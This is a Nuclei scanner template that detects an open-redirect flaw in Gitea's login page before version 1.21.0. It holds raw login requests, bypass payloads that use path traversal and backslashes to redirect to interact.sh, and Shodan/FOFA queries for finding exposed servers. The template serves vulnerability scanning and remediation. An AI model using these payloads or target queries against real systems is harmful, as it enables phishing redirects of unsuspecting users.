id: gitea-open-redirect-bypass

info:
  name: Gitea < 1.21.0 - Open Redirect
  author: ritikchaddha
  severity: medium
  description: |
    Gitea before version 1.21.0 is affected by URL Redirection to Untrusted Site ('Open Redirect') via internal URLs. The vulnerability exists in the redirect_to parameter used on the login page (/user/login). Due to improper validation of the redirect URL, an attacker can craft a malicious link that redirects authenticated users to an arbitrary external website after login.
  impact: |
    An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks or the theft of sensitive information.
  remediation: |
    Upgrade Gitea to version 1.21.0 or later to fix the open redirect vulnerability.
  reference:
    - https://github.com/go-gitea/gitea/issues/36660
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cwe-id: CWE-601
    epss-score: 0.07331
    epss-percentile: 0.91712
    cpe: cpe:2.3:a:gitea:gitea:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: gitea
    product: gitea
    shodan-query:
      - title:"Gitea"
      - http.html:"powered by gitea version"
      - http.title:"gitea"
      - cpe:"cpe:2.3:a:gitea:gitea"
    fofa-query:
      - body="powered by gitea version"
      - title="gitea"
    google-query: intitle:"gitea"
  tags: redirect,gitea,bypass

http:
  - raw:
      - |
        GET /user/login HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /user/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: redirect_to={{redirect}}

        _csrf={{csrf}}&user_name={{username}}&password={{url_encode(password)}}

    payloads:
      redirect:
        - /a/../\interact.sh
        - /a/../%5cinteract.sh

    matchers-condition: and
    matchers:
      - type: regex
        part: header_2
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$'

      - type: status
        status:
          - 302

    extractors:
      - type: regex
        name: csrf
        group: 1
        regex:
          - 'name="_csrf" value="(.*)"'
        internal: true
# digest: 490a00463044022005dc26c685d4821c1a170fef90c786c69c750d4d72d42b9ea68f78b967c09ea7022032aea0feb568f859ff9e16104865c724cca37897b6d32864b1fb9d83c196a210:922c64590222798bb761d5b6d8e72950